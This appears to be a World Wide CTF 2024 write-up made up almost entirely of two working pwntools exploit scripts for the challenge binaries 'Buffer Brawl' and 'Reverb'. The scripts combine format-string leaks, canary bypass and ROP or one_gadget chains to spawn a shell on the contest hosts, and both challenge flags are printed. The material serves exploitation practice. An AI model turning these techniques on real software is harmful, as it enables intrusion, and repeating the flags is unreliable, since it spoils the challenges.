# (writeup) World Wide CTF 2024 ## Buffer Brawl ```py #!/usr/bin/python3 from pwn import * exe = ELF('./buffer_brawl', checksec=False) libc = ELF('/usr/lib/x86_64-linux-gnu/libc.so.6', checksec=False) context.binary = exe info = lambda msg: log.info(msg) sla = lambda msg, data: p.sendlineafter(msg, data) sa = lambda msg, data: p.sendafter(msg, data) sl = lambda data: p.sendline(data) s = lambda data: p.send(data) sln = lambda msg, num: sla(msg, str(num).encode()) sn = lambda msg, num: sa(msg, str(num).encode()) def GDB(): if not args.REMOTE: gdb.attach(p, gdbscript=''' b*slip+51 b*slip+77 c ''') input() if args.REMOTE: p = remote('buffer-brawl.chal.wwctf.com',1337) else: p = process(exe.path) sla(b'> ',b'4') sla(b'left?\n',b'%27$p|%29$p||%13$p|%21$p||') canary = int(p.recvuntil(b'|',drop=True),16) libc_leak = int(p.recvuntil(b'||',drop=True),16) exe_leak = int(p.recvuntil(b'|',drop=True),16) stack_leak = int(p.recvuntil(b'||',drop=True),16) stack_ret = stack_leak - 0x190 exe.address = exe_leak - exe.sym.menu - 215 stack_smash = exe.sym.stack_smash libc.address = libc_leak - 0x29d90 info(f'canary leak: {hex(canary)}') info(f'libc leak: {hex(libc_leak)}') info(f'libc base: {hex(libc.address)}') info(f'stack leak: {hex(stack_leak)}') info(f'stack ret: {hex(stack_ret)}') info(f'stack_smash: {hex(stack_smash)}') info(f'exe leak: {hex(exe_leak)}') info(f'exe base: {hex(exe.address)}') GDB() sla(b'> ',b'4') payload = f'%{stack_smash+4&0xffff}c%8$hn'.encode() payload = payload.ljust(0x10,b'\0') payload += p64(stack_ret) sla(b'left?\n',payload) pop_rdi = libc.address + 0x000000000002a3e5 payload = b'a'*0x18 payload += p64(canary) payload += b'a'*8 payload += p64(pop_rdi) payload += p64(next(libc.search(b'/bin/sh'))) payload += p64(pop_rdi+1) payload += p64(libc.sym.system) sla(b' move: ',payload) p.interactive() #wwf{C0ngr4ts_t0_th3_n3w_R0P4TT4CK_ch4mp10n_0f_th3_W0rld} ``` ## Reverb ```py #!/usr/bin/python3 from pwn import * exe = ELF('./chall_patched', checksec=False) libc = ELF('./libc.so.6', checksec=False) context.binary = exe info = lambda msg: log.info(msg) sla = lambda msg, data: p.sendlineafter(msg, data) sa = lambda msg, data: p.sendafter(msg, data) sl = lambda data: p.sendline(data) s = lambda data: p.send(data) sln = lambda msg, num: sla(msg, str(num).encode()) sn = lambda msg, num: sa(msg, str(num).encode()) def GDB(): if not args.REMOTE: gdb.attach(p, gdbscript=''' b*main+266 b*main+300 c ''') input() if args.REMOTE: p = remote('reverb.chal.wwctf.com',1337) else: p = process(exe.path) def fmt(s): sla(b'>> ',s) GDB() payload = f'%{12}$s|'.encode() payload = payload.ljust(0x10,b'\0') payload += p64(exe.got.printf) fmt(payload) libc_leak = u64(p.recvuntil(b'|',drop=True)+b'\0\0') libc.address = libc_leak - libc.sym.printf stack_env = libc.sym.__environ info(f'libc leak: {hex(libc_leak)}') info(f'libc base: {hex(libc.address)}') info(f'stack env: {hex(stack_env)}') payload = f'%{12}$s|'.encode() payload = payload.ljust(0x10,b'\0') payload += p64(stack_env) fmt(payload) stack_leak = u64(p.recvuntil(b'|',drop=True)+b'\0\0') stack_ret = stack_leak - 0x120 stack_need = stack_ret - 0x178 info(f'stack leak: {hex(stack_leak)}') info(f'stack ret: {hex(stack_ret)}') info(f'stack need: {hex(stack_need)}') one_gadget = libc.address + 0xebd43 info(f'one gadget: {hex(one_gadget)}') pop_rdi = libc.address + 0x000000000002a3e5 pop_rbp = libc.address + 0x000000000002a2e0 rw_section = 0x404a80 binsh = next(libc.search(b'/bin/sh\0')) system = libc.sym.system info(f'pop rdi: {hex(pop_rdi)}') info(f'pop rbp: {hex(pop_rbp)}') info(f'/bin/sh: {hex(binsh)}') info(f'system: {hex(system)}') info(f'libc start call main: {hex(libc.address + 0x29d90)}') def exploit(ow,ow_addr): package = { (ow >> 0) & 0xff: ow_addr, (ow >> 8) & 0xff: ow_addr + 1, (ow >> 16) & 0xff: ow_addr + 2, (ow >> 24) & 0xff: ow_addr + 3, (ow >> 32) & 0xff: ow_addr + 4, (ow >> 40) & 0xff: ow_addr + 5, } order = sorted(package) print(package) print(order) info(f'target: {hex(ow)}') info(f'target to write: {hex(ow_addr)}') payload = b'' write_idx = 28 cnts = [0]*6 write_num = 57 for i in range(6): try: if order[i] == 0: continue except: continue if order[i] < 58: write_num = order[i] payload += f'%{write_num}c%{write_idx}$hhn'.encode() cnts[i] = 1 else: cnt = order[i] // 57 leftover = order[i] % 57 if (leftover == 0): for _ in range(cnt): payload += f'%{write_num}c%{write_idx}$hhn'.encode() cnts[i] += 1 elif (leftover < 10): must_send = 10 payload += f'%{must_send}c%{write_idx}$hhn'.encode() cnts[i] += 1 remake = order[i] - must_send cnt = remake // 57 leftover = remake % 57 for _ in range(cnt): payload += f'%{write_num}c%{write_idx}$hhn'.encode() cnts[i] += 1 payload += f'%{leftover}c%{write_idx}$hhn'.encode() cnts[i] += 1 else: for _ in range(cnt): payload += f'%{write_num}c%{write_idx}$hhn'.encode() cnts[i] += 1 payload += f'%{leftover}c%{write_idx}$hhn'.encode() #send leftover normally cnts[i] += 1 payload = payload.ljust(0x90, b'\0') payload += p64(package[order[i]]) * cnts[i] fmt(payload) payload = b'' # Reset payload for the next byte exploit(pop_rbp,stack_ret) exploit(rw_section,stack_ret+8) exploit(one_gadget,stack_ret+16) fmt(b'%1') #exit p.interactive() #wwf{truLy_4_frmat_str_m4st3r!} ''' 0xebc81 execve("/bin/sh", r10, [rbp-0x70]) constraints: address rbp-0x78 is writable [r10] == NULL || r10 == NULL || r10 is a valid argv [[rbp-0x70]] == NULL || [rbp-0x70] == NULL || [rbp-0x70] is a valid envp 0xebc85 execve("/bin/sh", r10, rdx) constraints: address rbp-0x78 is writable [r10] == NULL || r10 == NULL || r10 is a valid argv [rdx] == NULL || rdx == NULL || rdx is a valid envp 0xebc88 execve("/bin/sh", rsi, rdx) constraints: address rbp-0x78 is writable [rsi] == NULL || rsi == NULL || rsi is a valid argv [rdx] == NULL || rdx == NULL || rdx is a valid envp 0xebce2 execve("/bin/sh", rbp-0x50, r12) constraints: address rbp-0x48 is writable r13 == NULL || {"/bin/sh", r13, NULL} is a valid argv [r12] == NULL || r12 == NULL || r12 is a valid envp 0xebd38 execve("/bin/sh", rbp-0x50, [rbp-0x70]) constraints: address rbp-0x48 is writable r12 == NULL || {"/bin/sh", r12, NULL} is a valid argv [[rbp-0x70]] == NULL || [rbp-0x70] == NULL || [rbp-0x70] is a valid envp 0xebd3f execve("/bin/sh", rbp-0x50, [rbp-0x70]) constraints: address rbp-0x48 is writable rax == NULL || {rax, r12, NULL} is a valid argv [[rbp-0x70]] == NULL || [rbp-0x70] == NULL || [rbp-0x70] is a valid envp 0xebd43 execve("/bin/sh", rbp-0x50, [rbp-0x70]) constraints: address rbp-0x50 is writable rax == NULL || {rax, [rbp-0x48], NULL} is a valid argv [[rbp-0x70]] == NULL || [rbp-0x70] == NULL || [rbp-0x70] is a valid envp ''' ```